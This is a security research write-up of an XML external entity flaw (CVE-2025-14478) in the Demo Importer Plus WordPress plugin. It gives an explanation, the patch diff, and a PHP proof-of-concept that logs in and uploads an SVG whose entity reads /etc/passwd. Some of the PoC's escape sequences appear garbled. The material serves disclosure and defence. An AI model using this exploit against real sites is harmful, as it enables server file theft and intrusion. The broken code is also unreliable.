Atomic Edge analysis of CVE-2025-14478:
The Demo Importer Plus WordPress plugin contains an XML External Entity Injection vulnerability in its SVG file upload functionality. This vulnerability affects versions up to and including 2.0.9. Authenticated attackers with Author-level privileges or higher can exploit this flaw to achieve code execution on vulnerable configurations running PHP versions older than 8.0.
The root cause is the insecure use of the `simplexml_load_file()` function in the `get_svg_dimensions()` method. This function processes user-supplied SVG files without disabling XML external entity loading. The vulnerable code resides in the file `demo-importer-plus/inc/importers/class-demo-importer-plus-sites-helper.php` at lines 85-102. The function accepts a file path parameter `$svg` and passes it directly to `simplexml_load_file()` without proper security controls.
Exploitation requires an attacker to have Author-level access to the WordPress site. The attacker uploads a malicious SVG file containing an XML external entity declaration through the plugin’s SVG upload functionality. The payload references external entities that can lead to file disclosure, server-side request forgery, or remote code execution when processed by the vulnerable `get_svg_dimensions()` function. The attack vector is the SVG file upload endpoint that the plugin uses for processing imported content.
The patch replaces the vulnerable `simplexml_load_file()` call with a secure DOMDocument implementation. The fix in `class-demo-importer-plus-sites-helper.php` lines 85-102 introduces multiple security measures. It sets `resolveExternals` and `substituteEntities` properties to false, uses `libxml_use_internal_errors()` to suppress warnings, and applies `LIBXML_NONET | LIBXML_DTDLOAD | LIBXML_DTDATTR` flags when loading the SVG. These changes prevent the parser from fetching external resources and processing entity declarations.
Successful exploitation allows attackers to read sensitive files from the server, perform server-side request forgery attacks, and potentially execute arbitrary code. The vulnerability is particularly dangerous because Author-level users are common in WordPress installations, and the attack can lead to complete system compromise in vulnerable PHP configurations. The CVSS score of 7.5 reflects the combination of authentication requirements and high impact potential.
--- a/demo-importer-plus/demo-importer-plus.php
+++ b/demo-importer-plus/demo-importer-plus.php
@@ -7,7 +7,7 @@
* Author URI: https://kraftplugins.com/
* Text Domain: demo-importer-plus
* Domain Path: /languages
- * Version: 2.0.9
+ * Version: 2.0.10
* Tested up to: 6.8
*
* @package Demo Importer Plus
@@ -21,7 +21,7 @@
}
if ( ! defined( 'DEMO_IMPORTER_PLUS_VER' ) ) {
- define( 'DEMO_IMPORTER_PLUS_VER', '2.0.9' );
+ define( 'DEMO_IMPORTER_PLUS_VER', '2.0.10' );
}
if ( ! defined( 'DEMO_IMPORTER_PLUS_FILE' ) ) {
--- a/demo-importer-plus/inc/importers/class-demo-importer-plus-sites-helper.php
+++ b/demo-importer-plus/inc/importers/class-demo-importer-plus-sites-helper.php
@@ -85,15 +85,30 @@
*/
public static function get_svg_dimensions( $svg ) {
- $svg = simplexml_load_file( $svg );
+ // Security: Use DOMDocument with disabled external entity loading to prevent XXE attacks.
+ $dom = new DOMDocument();
- if ( false === $svg ) {
+ // Disable external entity loading and entity substitution.
+ $dom->resolveExternals = false;
+ $dom->substituteEntities = false;
+
+ // Suppress warnings for malformed SVG files.
+ $previous_error_handler = libxml_use_internal_errors( true );
+
+ // Load SVG file with secure options.
+ $loaded = $dom->load( $svg, LIBXML_NONET | LIBXML_DTDLOAD | LIBXML_DTDATTR );
+
+ // Restore previous error handler.
+ libxml_clear_errors();
+ libxml_use_internal_errors( $previous_error_handler );
+
+ if ( false === $loaded ) {
$width = '0';
$height = '0';
} else {
- $attributes = $svg->attributes();
- $width = (string) $attributes->width;
- $height = (string) $attributes->height;
+ $svg_element = $dom->documentElement;
+ $width = $svg_element->getAttribute( 'width' ) ?: '0';
+ $height = $svg_element->getAttribute( 'height' ) ?: '0';
}
return (object) array(
--- a/demo-importer-plus/vendor/composer/installed.php
+++ b/demo-importer-plus/vendor/composer/installed.php
@@ -1,9 +1,9 @@
<?php return array(
'root' => array(
'name' => 'kraftplugins/demo-importer-plus',
- 'pretty_version' => 'v2.0.9',
- 'version' => '2.0.9.0',
- 'reference' => '7b7f19bc22d91a3fd17fd8003feef259ae953f34',
+ 'pretty_version' => 'v2.0.10',
+ 'version' => '2.0.10.0',
+ 'reference' => '55dcfdd3f5378c5cf1cf1f9caa560e8720a0bc77',
'type' => 'library',
'install_path' => __DIR__ . '/../../',
'aliases' => array(),
@@ -20,9 +20,9 @@
'dev_requirement' => false,
),
'kraftplugins/demo-importer-plus' => array(
- 'pretty_version' => 'v2.0.9',
- 'version' => '2.0.9.0',
- 'reference' => '7b7f19bc22d91a3fd17fd8003feef259ae953f34',
+ 'pretty_version' => 'v2.0.10',
+ 'version' => '2.0.10.0',
+ 'reference' => '55dcfdd3f5378c5cf1cf1f9caa560e8720a0bc77',
'type' => 'library',
'install_path' => __DIR__ . '/../../',
'aliases' => array(),
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-14478 - Demo Importer Plus <= 2.0.9 - Authenticated (Author+) Blind XML External Entity Injection via SVG File Upload
<?php
// Configuration
$target_url = 'http://vulnerable-site.com/wp-admin/admin-ajax.php';
$username = 'author_user';
$password = 'author_pass';
$nonce = ''; // WordPress nonce for file upload
$action = 'demo_importer_plus_upload_file'; // AJAX action for file upload
// Malicious SVG payload with XXE
$svg_payload = '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<svg width="100" height="100" xmlns="http://www.w3.org/2000/svg">
<text x="20" y="35">&xxe;</text>
</svg>';
// Step 1: Authenticate to WordPress
$login_url = 'http://vulnerable-site.com/wp-login.php';
$cookie_file = tempnam(sys_get_temp_dir(), 'wp_cookie_');
$ch = curl_init();
curl_setopt_array($ch, [
CURLOPT_URL => $login_url,
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => http_build_query([
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => 'http://vulnerable-site.com/wp-admin/',
'testcookie' => '1'
]),
CURLOPT_COOKIEJAR => $cookie_file,
CURLOPT_COOKIEFILE => $cookie_file,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_FOLLOWLOCATION => true
]);
$response = curl_exec($ch);
// Step 2: Prepare malicious SVG file upload
$boundary = '----WebKitFormBoundary' . md5(time());
$post_data = "--$boundaryrn";
$post_data .= "Content-Disposition: form-data; name="action"rnrn";
$post_data .= "$actionrn";
$post_data .= "--$boundaryrn";
$post_data .= "Content-Disposition: form-data; name="_wpnonce"rnrn";
$post_data .= "$noncern";
$post_data .= "--$boundaryrn";
$post_data .= "Content-Disposition: form-data; name="file"; filename="exploit.svg"rn";
$post_data .= "Content-Type: image/svg+xmlrnrn";
$post_data .= $svg_payload . "rn";
$post_data .= "--$boundary--rn";
// Step 3: Send exploit payload
curl_setopt_array($ch, [
CURLOPT_URL => $target_url,
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => $post_data,
CURLOPT_HTTPHEADER => [
"Content-Type: multipart/form-data; boundary=$boundary",
"X-Requested-With: XMLHttpRequest"
],
CURLOPT_COOKIEFILE => $cookie_file,
CURLOPT_RETURNTRANSFER => true
]);
$result = curl_exec($ch);
curl_close($ch);
// Cleanup
unlink($cookie_file);
// Output result
echo "Exploit attempt completed. Check server response for file contents.n";
echo "Response: " . htmlspecialchars(substr($result, 0, 500)) . "n";
?>